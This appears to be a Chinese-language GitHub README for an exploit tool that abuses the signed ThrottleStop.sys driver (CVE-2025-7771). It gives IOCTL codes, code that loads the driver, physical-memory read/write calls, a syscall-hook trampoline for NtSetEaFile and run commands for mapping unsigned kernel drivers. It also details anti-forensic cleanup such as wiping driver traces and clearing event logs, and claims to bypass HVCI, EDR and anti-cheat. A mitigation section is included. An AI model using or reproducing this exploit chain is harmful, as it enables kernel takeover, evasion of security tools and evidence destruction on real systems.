🔓 ThrottleStop.sys 内核漏洞 — 兼容 HVCI 的物理内存映射器

CVE-2025-7771 — 通过 ThrottleStop.sys IOCTL 实现任意物理内存读写

⚠️ 免责声明

本项目仅用于教育和研究目的。目的在于演示一个经过签名、受信任的内核驱动程序如何被武器化，用于从管理员权限提升至 SYSTEM/内核 权限，有效绕过包括 HVCI（超管理器强制代码完整性） 和 安全启动 在内的现代 Windows 安全功能。

请勿将此工具用于恶意目的。 作者对任何滥用行为不承担责任。

📋 目录

漏洞概要
受影响软件
技术分析
- 存在漏洞的 IOCTL
- 根本原因
利用链
为何能绕过 HVCI
影响评估
构建与使用
缓解建议
参考资料

漏洞概要

受影响软件

ThrottleStop — 所有包含具有物理内存映射 IOCTL 的 ThrottleStop.sys 版本
Windows 10 1903 – 22H2 (x64)
Windows 11 21H2 – 24H2 (x64)，包括启用了 HVCI 的版本
已在以下环境测试：Windows 11 26100.x (24H2)（含安全启动 + HVCI）

技术分析

存在漏洞的 IOCTL

ThrottleStop.sys 内核驱动程序暴露了一个设备（\\.\ThrottleStop），任何本地管理员均可访问。它实现了两个提供无限制物理内存访问的 IOCTL：

#define IOCTL_TS_READ_PHYS   0x80006498   // 读取任意物理地址
#define IOCTL_TS_WRITE_PHYS  0x8000649C   // 写入任意物理地址

读取物理内存（`0x80006498`）

输入： ULONG64 PhysicalAddress  (8 字节)
输出： 数据缓冲区              （每次调用 1–8 字节，由 OutputBufferLength 决定）

驱动程序调用 MmMapIoSpace() 将请求的物理地址映射到内核虚拟空间，将数据复制到输出缓冲区，然后调用 MmUnmapIoSpace()。对物理地址不执行任何验证 — 可以读取物理地址空间中的任何地址。

写入物理内存（`0x8000649C`）

输入： ULONG64 PhysicalAddress (8 字节) + 数据 (1–8 字节)
       InputBufferLength = 8 + DataSize
输出： 无

与读取相同的机制，但将用户提供的数据写入映射的物理地址。同样，没有地址或范围验证。

根本原因

该驱动程序旨在允许 ThrottleStop（一款 CPU 降压/节流工具）直接读写 MSR 和硬件寄存器。物理内存 IOCTL 很可能是为了实现对 PCI 配置空间或 CPU 温度传感器的 MMIO 访问而添加的，但实现中零边界检查：

❌ 未检查物理地址是否属于 MMIO 或 RAM
❌ 未检查地址是否在调用方预期的内存区域内
❌ 除要求 GENERIC_READ | GENERIC_WRITE 句柄访问权限外，无 ACL 限制
❌ 无允许的物理地址范围白名单

这会将一个合法的硬件工具驱动程序转变为完整的内核级读写原语。

利用链

利用链从本地管理员账户提升到任意内核代码执行，实际上获得 SYSTEM 级别的 ring-0 控制权。

步骤 1 — 加载存在漏洞的驱动程序

映射器将 ThrottleStop.sys 释放到 %TEMP%，在 HKLM\SYSTEM\CurrentControlSet\Services\ThrottleStop 下创建服务注册表项，然后通过 NtLoadDriver() 加载：

// 为当前进程启用 SeLoadDriverPrivilege
driver::util::enable_privilege(L"SeLoadDriverPrivilege");

// 创建指向释放的 .sys 文件的服务项
driver::util::create_service_entry("\\??\\C:\\...\\ThrottleStop.sys", "ThrottleStop");

// 通过 NtLoadDriver 加载
NtLoadDriver(&driver_reg_path_unicode);

// 打开设备句柄
CreateFileA("\\\\.\\ThrottleStop", GENERIC_READ | GENERIC_WRITE, ...);

注意： 由于 ThrottleStop.sys 已合法签名，即使启用了 HVCI/安全启动，它也能加载。Windows CI 策略信任该证书。

步骤 2 — 物理内存原语

有了设备句柄，漏洞利用程序可以读取/写入系统上的任何物理地址：

// 从物理地址 0x1000 读取 8 字节
ULONGLONG phys_addr = 0x1000;
ULONGLONG data = 0;
DeviceIoControl(handle, 0x80006498, &phys_addr, 8, &data, 8, &returned, NULL);

// 向物理地址写入 8 字节
UCHAR input[16];
*(ULONGLONG*)input = target_phys_addr;      // 地址
*(ULONGLONG*)(input + 8) = shellcode_qword; // 数据
DeviceIoControl(handle, 0x8000649C, input, 16, NULL, 0, &returned, NULL);

漏洞利用程序将这些封装到辅助函数中，以分块读取/写入（每次调用 1、2、4 或 8 字节）处理任意长度的传输。

步骤 3 — 定位系统调用页面

为了执行任意内核函数，漏洞利用程序需要找到内核系统调用处理程序的物理地址。它瞄准了 NtSetEaFile（一个很少被监控的系统调用）：

解析 RVA：在用户态通过 LoadLibraryEx(DONT_RESOLVE_DLL_REFERENCES) 加载 ntoskrnl.exe，获取 NtSetEaFile 的 RVA
计算偏移量：由于 ntoskrnl 以 2MB 大页 映射，该函数在 2MB 页内的物理偏移 = RVA & 0x1FFFFF
扫描物理内存：从注册表（HARDWARE\RESOURCEMAP\System Resources\Physical Memory）枚举物理内存范围，以 2MB 为步长，比较字节：

for (phys_2mb = start; phys_2mb < range_end; phys_2mb += 0x200000)
{
    candidate_pa = phys_2mb + offset_in_2mb;
    read_phys(candidate_pa, &first8, 8);
    if (first8 == pattern_first8)  // 快速检查
    {
        read_phys(candidate_pa, verify, 32);  // 完全验证
        if (memcmp(verify, pattern, 32) == 0)
        {
            syscall_phys_addr = candidate_pa;  // 找到了！
            // ... 通过 PsGetProcessSectionBaseAddress 验证
        }
    }
}

验证：调用被挂钩的系统调用以触发 PsGetProcessSectionBaseAddress(current_pid)，并验证返回的基址是否与 GetModuleHandle(NULL) 匹配。

步骤 4 — 通过物理写入挂钩系统调用

一旦知道了 NtSetEaFile 的物理地址，漏洞利用程序直接通过物理内存写入安装一个 12 字节的 trampoline：

; 原始 NtSetEaFile 字节（已保存用于恢复）
; 替换为：
mov rax, <target_kernel_address>   ; 48 B8 <8-byte imm64>
push rax                            ; 50
ret                                 ; C3

// 安装挂钩
unsigned char jmp_code[12] = {
    0x48, 0xB8,                           // mov rax, imm64
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  // <目标地址>
    0x50,                                 // push rax
    0xC3                                  // ret
};
memcpy(jmp_code + 2, &target_function, 8);
write_phys(syscall_phys_addr, jmp_code, 12);

// 从用户态触发
NtSetEaFile(args...);  // → 跳转到内核中的 target_function！

// 恢复原始字节
write_phys(syscall_phys_addr, saved_bytes, 12);

关键洞察： 写入物理页面绕过了 HVCI 的虚拟内存保护。HVCI 阻止 W+X 虚拟页面，但驱动程序通过 MmMapIoSpace 进行的物理内存写入直接进入 RAM。

步骤 5 — 任意内核代码执行

有了系统调用挂钩原语，漏洞利用程序可以调用任何内核函数并传入任意参数：

// 分配可执行内核内存（HVCI 兼容）
auto pool = syscall<ExAllocatePool2>(ExAllocatePool2_addr,
    POOL_FLAG_NON_PAGED_EXECUTE, size, tag);

// 通过 RtlCopyMemory 将驱动程序映像复制到内核池
syscall<memcpy>(RtlCopyMemory_addr, pool, image_data, image_size);

// 调用驱动程序的 DriverEntry
syscall<DRIVER_INITIALIZE>(entry_point, pool_base, image_size);

这实际上在内核空间中映射并执行了一个未签名的驱动程序 — 完全提权。

步骤 6 — 取证清理

加载有效载荷后，漏洞利用程序清除所有痕迹：

为何能绕过 HVCI

HVCI（超管理器强制代码完整性） 通过二级地址转换（SLAT/EPT）对内核虚拟页面强制执行 W^X（写异或执行），防止未签名代码在内核空间中执行。

此漏洞利用绕过 HVCI 的原因是：

合法驱动程序： ThrottleStop.sys 已正确签名并通过 CI 验证，因此即使 HVCI 处于活动状态，它也能正常加载。
物理而非虚拟： IOCTL 使用 MmMapIoSpace()，它操作物理地址。HVCI 的保护是在虚拟页表级别并通过 EPT 强制执行的，但 MmMapIoSpace 为物理页面创建了一个具有适当权限的新虚拟映射。对系统调用物理页面的写入修改了现有虚拟映射已指向的 RAM 内容。
可执行池： 漏洞利用程序通过 ExAllocatePool2 并使用 POOL_FLAG_NON_PAGED_EXECUTE 分配内存，这是一种合法的、HVCI 认可的获取可执行内核内存的方式。内核本身将其用于 JIT 编译的代码和某些池分配。
未加载未签名驱动程序： 映射器从不使用未签名映像调用 NtLoadDriver。相反，它手动将有效载荷写入一个已是可执行的内核池分配中，并通过系统调用挂钩调用其入口点。

┌─────────────────────────────────────────────┐
│               用户态 (管理员)                 │
│                                              │
│  1. 加载 ThrottleStop.sys（已签名，受信任）   │
│  2. 打开 \\.\ThrottleStop 设备               │
│  3. 通过 IOCTL 读/写物理内存                  │
└──────────────┬──────────────────────────────┘
               │ DeviceIoControl
               ▼
┌─────────────────────────────────────────────┐
│       ThrottleStop.sys (内核)               │
│                                              │
│  MmMapIoSpace(PhysAddr) → memcpy → unmap    │
│  无验证，任何物理地址均可                     │
└──────────────┬──────────────────────────────┘
               │ 物理内存写入
               ▼
┌─────────────────────────────────────────────┐
│       NtSetEaFile 物理页面                   │
│                                              │
│  原始字节被覆盖为：                            │
│  mov rax, <payload>; push rax; ret          │
│                                              │
│  → 任何用户态 NtSetEaFile() 调用现在          │
│    执行任意内核代码                           │
└──────────────┬──────────────────────────────┘
               │ 内核代码执行
               ▼
┌─────────────────────────────────────────────┐
│              完全内核沦陷                     │
│                                              │
│  • ExAllocatePool2（可执行池）               │
│  • 将未签名驱动程序映射到内核内存              │
│  • 调用 DriverEntry → SYSTEM 级别访问        │
│  • 清除所有取证痕迹                          │
└─────────────────────────────────────────────┘

影响评估

构建与使用

要求

Visual Studio 2022（含 C++ 桌面工作负载）
Windows SDK 10.0.26100.0+
目标系统上的管理员权限

构建

git clone https://github.com/<your-repo>/throttlestop-mapper.git
cd throttlestop-mapper
# 在 Visual Studio 中打开 imxyviMapper.sln
# 构建 → x64 Release

运行

# 基本用法 — 自动扫描物理内存以查找系统调用页面
mapper.exe payload_driver.sys

# 使用预先计算的内核 CR3（更快，跳过扫描）
mapper.exe payload_driver.sys 1AD000

输出

[+] 驱动程序：45056 字节
[*] 解析 PE...
[+] PE 正常：entry=0x3040 size=0xC000
[*] 加载存在漏洞的驱动程序...
[+] 驱动程序已加载，句柄=0x0000000000000094
[+] IOCTL 正常
[*] 查找系统调用页面...
[+] 找到系统调用页面
[*] 修复导入...
[*] 分配可执行内核池（49152 字节）...
[+] 池分配于：FFFFA40B7C8E0000
[*] 向内核写入驱动程序...
[*] 调用入口点 0xFFFFA40B7C8E3040...
[+] 入口点返回
[*] 清理 MmUnloadedDrivers...
[+] MmUnloadedDrivers 已成功清除
[*] 卸载存在漏洞的驱动程序...
[+] 完成

缓解建议

针对 Microsoft / Windows

驱动程序阻止列表： 将 ThrottleStop.sys 的哈希添加到 Microsoft 易受攻击驱动程序阻止列表
HVCI 增强： 阻止来自非白名单驱动程序的针对 RAM 支持的物理地址的 MmMapIoSpace 调用
IOCTL 审核： 在 WHQL 认证期间标记暴露原始物理内存原语的驱动程序

针对 ThrottleStop 开发者

移除物理内存 IOCTL — 使用 MSR 特定的 IOCTL（rdmsr/wrmsr）代替原始的 MmMapIoSpace
实施地址白名单 — 将 MmMapIoSpace 限制为已知的 MMIO 范围（PCI BAR 区域、LAPIC 等）
添加 ACL 限制 — 将设备访问限制为 ThrottleStop 应用程序的令牌 SID

针对系统管理员

WDAC 策略： 创建自定义的 Windows Defender 应用程序控制 (WDAC) 策略，通过哈希阻止 ThrottleStop.sys
监控驱动程序加载： 通过 Sysmon 事件 ID 6 对异常的内核驱动程序加载发出警报
移除 ThrottleStop 如果非 CPU 管理所需

🏆 鸣谢与致谢

参考资料

Demoo1337/ThrottleStop — CVE-2025-7771 PoC — 原始漏洞研究与利用
physmeme — 物理内存利用框架 (MIT 许可证，xerox/IDontCode)
kdmapper — 内核驱动程序映射器
Microsoft 易受攻击驱动程序阻止列表
HVCI 设计概述 — Microsoft
MmMapIoSpace — Microsoft Docs

许可证

🔬 负责任的披露： 此漏洞由 Demoo1337 发现并向供应商披露。此存储库作为安全研究社区的文档。

CVE	CVE-2025-7771
驱动程序	`ThrottleStop.sys`（随 ThrottleStop 一起发布）
供应商	TechPowerUp / Kevin Glynn
类型	任意物理内存读写
影响	本地权限提升（管理员 → 内核）
CVSS	8.2（高危）
签名	通过 WHQL / 证明进行 Microsoft 签名
绕过 HVCI	✅ 是 — 驱动程序已合法签名，被 CI 策略允许

PiDDB 缓存	解锁 `PiDDBLock`，通过 `RtlLookupElementGenericTableAvl` 在 AVL 树中找到条目，取消链接并删除
MmUnloadedDrivers	扫描 50 条目的循环缓冲区，将匹配的名称和条目清零
BigPoolTable	扫描 `PoolBigPageTable` 找到分配 VA，将条目清零
Pool 头部	将 `POOL_HEADER` 标签伪造为 `MmSt`（常见系统标签）
PE 头部	将内核分配中的 DOS/NT 头部、导入目录、调试目录、可丢弃节区清零
注册表	删除 `HKLM\...\Services\ThrottleStop` 键树
驱动程序文件	从 `%TEMP%` 删除 `ThrottleStop.sys`
事件日志	清除系统和安全日志中的相关条目
Prefetch / BAM	清理 ShimCache、BAM（后台活动调节器）和 Prefetch 痕迹

机密性	🔴 完全 — 可读取任何内核/进程内存
完整性	🔴 完全 — 可写入任何内核结构，挂钩任何函数
可用性	🟡 高 — 不正确的写入会导致蓝屏
身份验证绕过	🔴 从管理员获得 SYSTEM 访问权限
反作弊绕过	🔴 绕过内核级反作弊（EAC、BattlEye、Vanguard）
EDR 绕过	🔴 运行在 EDR 挂钩之下，可取消挂钩/禁用安全工具
HVCI	🔴 通过合法的签名驱动程序绕过
安全启动	🔴 绕过（驱动程序具有有效签名）

Demoo1337	CVE-2025-7771 的原始发现和文档。逆向分析了 ThrottleStop.sys 的 IOCTL 处理程序，识别了 `MmMapIoSpace` 物理内存漏洞，并发布了初始概念验证漏洞利用。没有他的研究，本项目将不存在。
xerox / IDontCode	physmeme 框架的作者，该框架用作内核映射器、系统调用挂钩和取证清理逻辑的基础。
TheCruZ	kdmapper 的作者，其 PiDDB 缓存清理和驱动程序映射技术为本实现提供了参考。

CVE-2025-7771-Vulnerability-Exploration

最受欢迎